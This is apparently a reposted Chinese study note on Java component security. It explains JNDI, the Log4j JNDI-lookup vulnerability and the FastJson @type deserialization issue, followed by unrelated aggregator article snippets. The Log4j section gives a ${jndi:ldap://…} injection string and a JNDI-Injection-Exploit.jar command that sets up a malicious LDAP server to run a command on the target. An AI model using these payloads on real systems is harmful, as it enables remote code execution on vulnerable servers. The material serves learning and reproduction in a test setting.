安全学习_开发相关_Java第三方组件Log4jFastJSON及相关安全问题简介

文章目录

    • JNDI:(见图)
  • Java-三方组件-Log4J&JNDI
      • Log4J:
      • Log4j-组件安全复现
      • 使用Log4j
  • Java-三方组件-FastJson
      • FastJson:
      • Fastjson-组件安全复现
      • 对象转Json(带类型)
      • Json转对象
      • Fastjson漏洞复现(大佬文章

请添加图片描述

JNDI:(见图)

Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

Java-三方组件-Log4J&JNDI

Log4J:

Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

Log4j-组件安全复现

漏洞出现条件:

1、开发源码中引用漏洞组件入log4j

2、开发中使用组件的代码(触发漏洞代码)

3、可控变量去传递payload来实现攻击

4、利用jndi-ldap执行

jndi中的ldap和rmi是最常用的方法进行远程调用。

测试:

使用Log4j

// 创建logger对象,用于输出日志
public static final Logger logger = LogManager.getLogger(Log4jTest.class);
public static void main(String[] args) {logger.error("错误日志");
}

测试:

输入字符串${java:os},显示系统信息。

public static final Logger logger = LogManager.getLogger(Log4jTest.class);
public static void main(String[] args) {String code = "${java:vm}";logger.error("{}",code);
}

结果:

[main] ERROR com.log4jdemo.Log4jTest - Windows 11 10.0, architecture: amd64-64
String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";

服务器:

使用jndi注入工具生成地址。

java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx

Java-三方组件-FastJson

FastJson:

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

底层通过反射原理实现。

Fastjson-组件安全复现

1、Maven引用Fastjson

2、创建需转换类对象User

3、使用Fastjson进行数据转换

4、数据转换(对象转Json,Json转对象)

对象转Json(带类型)

// user 对象
User user = new User("chuan","man",12);// 把数据转换为Json格式数据,存储在String字符串中,选用第三方组件fastjson做这个功能。
String string = JSONObject.toJSONString(user);
// 打印查看
System.out.println("string = " + string);// SerializerFeature.WriteClassName输出转换数据的类型(类),其实本身就带类型
String string2 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println("多输出转换数据的类型:string2 = " + string2);

Json转对象

// 其中\"为idea自动转义,避免和字符串引号冲突。
String test = "{\"@type\":\"com.fastjsondemo.User\",\"age\":12,\"gender\":\"man\",\"name\":\"chuan\"}";
// test字符串(JSON)转换为Java对象
JSONObject jsonObject = JSON.parseObject(test);
System.out.println(jsonObject);

漏洞成因:

转换数据时造成的。前端得到的JSON对象进行转换时,若JSON对象为用户发送的恶意注入,通过调用一些类方法实现攻击。

Fastjson漏洞复现(大佬文章

https://blog.csdn.net/guo15890025019/article/details/120532891

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/91347.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C# Task任务详解

文章目录 前言Task返回值无参返回有参返回 async和await返回值await搭配使用Main async改造 Task进阶Task线程取消测试用例超时设置 线程暂停和继续测试用例 多任务等最快多任务全等待 结论 前言 Task是对于Thread的封装,是极其优化的设计,更加方便了我…

PL/SQL+cpolar公网访问内网Oracle数据库

文章目录 前言1. 数据库搭建2. 内网穿透2.1 安装cpolar内网穿透2.2 创建隧道映射 3. 公网远程访问4. 配置固定TCP端口地址4.1 保留一个固定的公网TCP端口地址4.2 配置固定公网TCP端口地址4.3 测试使用固定TCP端口地址远程Oracle 前言 Oracle,是甲骨文公司的一款关系…

Centos 7分区失败,进入 dracut 页面,恢复操作

1. 问题场景: 分区失败,重启了虚拟机,导致系统进入 dracut 页面。开机显示 直接回车,等待重启失败的页面 自动进入了 dracut 模式(救援)。 2. 临时解决进入系统 查了一下:如果出现 “dracut” 提示、进入 dracut…

elementui 菜单选中优化

/** 父级菜单悬浮样式**/ .el-submenu__title:hover {color:#1890ff!important; } /** 父级菜单箭头悬浮样式**/ .el-submenu__title:hover>.el-submenu__icon-arrow{font-size: 13px!important;} /** 子菜单悬浮样式**/ .el-menu-item:hover{color:#1890ff!important; } /*…

数据结构算法--6 希尔排序和计数排序

希尔排序 希尔排序与插入排序原理相同,希尔排序是一种分组插入排序算法 > 首先取一个整数d1n/2,将元素分为d1个组,每组相邻两元素之间距离为d1,在各组内之间插入排序。 > 取第二个整数d2n/2,重复上述分组排序…

VBA技术资料MF62:创建形状添加文本及设置颜色

【分享成果,随喜正能量】须知往生净土,全仗信、愿。有信、愿,即未得三昧、未得一心不乱,亦可往生。且莫只以一心不乱,及得念佛三昧为志事,不复以信、愿、净念为事。。 我给VBA的定义:VBA是个人…

英语单词记忆学习打卡系统 微信小程序

本单词记忆系统使用了计算机语言Java和存放数据的仓库MySQL,采用了微信小程序模式来实现。本系统使用了框架SSM和Uni-weixin实现了单词记忆系统应有的功能,系统主要角色包括管理员和用户。 关键词:Java;MySQL;SSM  在…

【Linux】—— 详解动态库和静态库

前言: 本期我将要给大家讲解的是有关 动态库和静态库 的相关知识!!! 目录 序言 见一见库 为什么要有库 (一)动态库(.so) 1.基本概念 2.命名规则 3.制作动态库 &#xff0…

【学习笔记】CF1817F Entangled Substrings(基本子串结构)

前置知识:基本子串结构,SAM的结构和应用 学长博客 字符串理论比较抽象,建议直观的去理解它 子串 t t t的扩展串定义为 ext(t) : t ′ \text{ext(t)}:t ext(t):t′,满足 t t t是 t ′ t t′的子串,且 occ(t) occ(t…

2023年十大开源项目:革新技术创新

来源整理 : 小托 | 开源社翻译组PM 翻译 : 张锋 | 开源社翻译 Open-source projects have revolutionized the world of software development by fostering innovation, collaboration, and community-driven contributions. These projects are often the backbone of countl…

PHP8的继承和多态-PHP8知识详解

我们在前面的时候讲过《面向对象编程的特点》时,面向对象编程具有3大特点:封装性、继承性和多态性。 继承和多态的根本作用就是完成代码的重用。下面就来讲解php8的继承和多态。 1继承 子类可以继承父类的所有成员变量和成员方法,包括构造方…

玄子Share 设计模式 GOF 全23种 + 七大设计原则

玄子Share 设计模式 GOF 全23种 七大设计原则 前言: 此文主要内容为 面向对象七大设计原则(OOD Principle)GOF(Gang Of Four)23种设计模式拓展的两个设计模式 简单工厂模式(Simple Factory Pattern&#x…

Fake Maxpooling 二维滑动窗口

先对每一行求一遍滑动窗口&#xff0c;列数变为(列数-k1) 再对每一列求一遍滑动窗口&#xff0c;行数变为(行数-k1) 剩下的就是每一个窗口里的最大值啦 #include<bits/stdc.h> #define IOS ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); #define endl \nusing nam…

【强化学习】基础概念

1. Agent (智能体) 智能体是进行决策和学习的实体&#xff0c;它能感知环境的状态&#xff0c;并基于策略采取动作以影响环境。智能体的目标是通过与环境的交互获得最大化的累积奖励。 2. Environment (环境) 环境是智能体所处的外部系统&#xff0c;它与智能体交互。环境的…

【算法】莫队

这篇博客起源于本人把一道 p o w ( 2 , n ) pow(2,n) pow(2,n) 的问题考虑成求组合数前缀和的问题qwq&#xff0c;于是接触到了这个新算法来总结一下 参考自这篇文章&#xff0c;写得太好了 首先是一道模板题 题目意思是&#xff0c;给出一个数组a&#xff0c;再给出多个区…

无人直播间

失败&#xff01;&#xff01; 采用 ffmpeg 技术进行推流 推流代码&#xff1a; 【需要将rtmp替换为你的推流地址】 ffmpeg -re -stream_loop -1 -i "rain.mp4" -c copy -f flv ""推流地址获取 以哔哩哔哩为例 点击下方链接 开播设置 - 个人中心 - …

【MATLAB源码-第39期】基于m序列/gold序列的直接扩频通信仿真,编码方式采用卷积码,调制方式采用BPSK。

1、算法描述 直接序列扩频通信系统的仿真一般包括以下几个主要步骤&#xff1a;信号产生、扩频、卷积编码、BPSK调制、信道传输、BPSK解调、卷积码译码和解扩。 信号产生&#xff1a; 首先&#xff0c;产生一个二进制数据序列作为待发送的信息位。 扩频&#xff1a; 采用m序列…

如何开始着手一篇Meta分析 | Meta分析的流程及方法

Meta分析是针对某一科研问题&#xff0c;根据明确的搜索策略、选择筛选文献标准、采用严格的评价方法&#xff0c;对来源不同的研究成果进行收集、合并及定量统计分析的方法&#xff0c;最早出现于“循证医学”&#xff0c;现已广泛应用于农林生态&#xff0c;资源环境等方面。…

十五、异常(3)

本章概要 捕获所有异常 多重捕获栈轨迹重新抛出异常精准的重新抛出异常异常链 捕获所有异常 可以只写一个异常处理程序来捕获所有类型的异常。通过捕获异常类型的基类 Exception&#xff0c;就可以做到这一点&#xff08;事实上还有其他的基类&#xff0c;但 Exception 是所…

鸿鹄工程项目管理系统 Spring Cloud+Spring Boot+Mybatis+Vue+ElementUI+前后端分离构建工程项目管理系统

项目背景 一、随着公司的快速发展&#xff0c;企业人员和经营规模不断壮大。为了提高工程管理效率、减轻劳动强度、提高信息处理速度和准确性&#xff0c;公司对内部工程管理的提升提出了更高的要求。 二、企业通过数字化转型&#xff0c;不仅有利于优化业务流程、提升经营管理…